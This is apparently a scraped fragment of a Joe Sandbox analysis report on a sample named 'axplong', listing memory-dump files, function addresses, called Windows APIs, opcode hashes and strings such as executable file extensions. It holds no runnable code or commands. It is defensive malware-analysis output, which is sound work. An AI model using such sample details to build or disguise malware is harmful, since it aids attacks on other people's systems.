Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 4a5feb52b2677f4137ca7895ceabf00401468208c00cfa1ab69453b1e37e1f97
Instruction ID: 33ee6565c012e2c279c0aec1292bf896532163ac38c6b49070d4db0d973968c2
Opcode Fuzzy Hash: 4a5feb52b2677f4137ca7895ceabf00401468208c00cfa1ab69453b1e37e1f97
Instruction Fuzzy Hash: AC214F713582005AFF2467EC998B77C72EFDF82700F20452AE1059AFC1CA75894182E7

Function 006CD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,006CA6D3,00000001,00000364,00000006,000000FF,?,006CECFF,?,00000004,00000000,?,?), ref: 006CD731

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aeb88692d38eba0ca4da3b60bc99f4e9fc76e410e5645bf7660853ff667c836f
Instruction ID: 476c939984cd0a19c91907605dadfa6d0842e05f5673456ae509fa008b8fcc21
Opcode Fuzzy Hash: aeb88692d38eba0ca4da3b60bc99f4e9fc76e410e5645bf7660853ff667c836f
Instruction Fuzzy Hash: B7F0E931645125669B213B259C05FBB779BDF817B0B18853DBC089B281CF31E80146F4

Non-executed Functions

Function 00692E80 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00692F1F
GetCurrentThreadId.KERNEL32 ref: 00692F3E
__Mtx_unlock.LIBCPMT ref: 00692F8C
__Cnd_broadcast.LIBCPMT ref: 00692FA3
__Mtx_unlock.LIBCPMT ref: 006930B5
GetCurrentThreadId.KERNEL32 ref: 006930F2
__Mtx_unlock.LIBCPMT ref: 0069315B

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 07fd697a1c16f1a3d28ac5d6d4951f4fc4fbde455238cf4e1d91f53b8e1a1247
Instruction ID: 062dc944c745227c04ff26a47b67028592800051411ef814c8ac34a2a35a2e84
Opcode Fuzzy Hash: 07fd697a1c16f1a3d28ac5d6d4951f4fc4fbde455238cf4e1d91f53b8e1a1247
Instruction Fuzzy Hash: 22A1A0B0A00216AFDF11EF64C9457AAB7AAFF16324F048129E815D7751EB31EE04CB91

Function 006CC9B0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006CCA37

Strings

5ul, xrefs: 006CC9B2

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: 5ul
API String ID: 3213747228-3417136809
Opcode ID: 4ac202cf43d41ffe8c944508c0ae86c9a1ebd8a60de72e44321f7679f8dba429
Instruction ID: 5fcefd96418873e9834d563c970ae9a612a75e12d091f72955c26ac8fd3fec7c
Opcode Fuzzy Hash: 4ac202cf43d41ffe8c944508c0ae86c9a1ebd8a60de72e44321f7679f8dba429
Instruction Fuzzy Hash: 04B1F3329002859FDB15CF68C891FFEBBA6EF55360F1481AEE849EB341D6349D42CB64

Function 006ABAA2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006ABAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABB14
_xtime_get.LIBCPMT ref: 006ABB37
__Xtime_diff_to_millis2.LIBCPMT ref: 006ABB43

Strings

G1i, xrefs: 006ABB05, 006ABB28, 006ABADA

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: G1i
API String ID: 531285432-2024250393
Opcode ID: 4b9393ba39b4622b0a2e5a41838da653837b2cb66903ee7fd1a5f644e1f74887
Instruction ID: 635c8928090f637271836f19d8d538a78d966801ce8b738f0ed230705b7f1222
Opcode Fuzzy Hash: 4b9393ba39b4622b0a2e5a41838da653837b2cb66903ee7fd1a5f644e1f74887
Instruction Fuzzy Hash: FD214F71E002099FDF10EFA4CC819BEBBBAEF09724F004069F601A7261DB70AD419FA5

Function 006C70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006C710B

Strings

.bat, xrefs: 006C713A
.exe, xrefs: 006C7118
.cmd, xrefs: 006C7129
.com, xrefs: 006C714B

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
